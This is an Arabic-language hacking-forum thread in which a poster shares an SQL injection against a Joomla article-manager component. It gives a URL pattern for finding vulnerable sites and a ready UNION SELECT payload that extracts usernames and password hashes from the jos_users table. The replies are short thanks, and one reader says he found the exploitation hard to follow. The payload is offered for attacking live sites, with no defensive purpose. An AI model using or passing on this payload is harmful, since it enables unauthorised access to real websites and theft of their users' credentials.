ثغرة في سكريبت جمولة

[M!M0]

السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت جمولة

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

index.php?option=com_articlemanager&Itemid=349&task=display&artid=

طريقة الإستغلال

null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rix,5,6,7,8/**/from/**/jos_users--

الثغرة من إكتشاف

FL0RiX


إن شاء الله تستفيدوا

موفقين بإذن الله ...​

 

[az360]

بارك الله فيك ،،/

 

[Dr.NaNo]

بارك الله فيك أخي على الثغرة بس انا مريت عليها اول بس مافهمت كيف طريقة الاستغلال [ صعب ، شوي ]


تحياتي لكـ ياغالي

 

[KaLa$nikoV]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

 

[~ْ R.ZoRo ~ْ]

كبير تسلم على الثغرة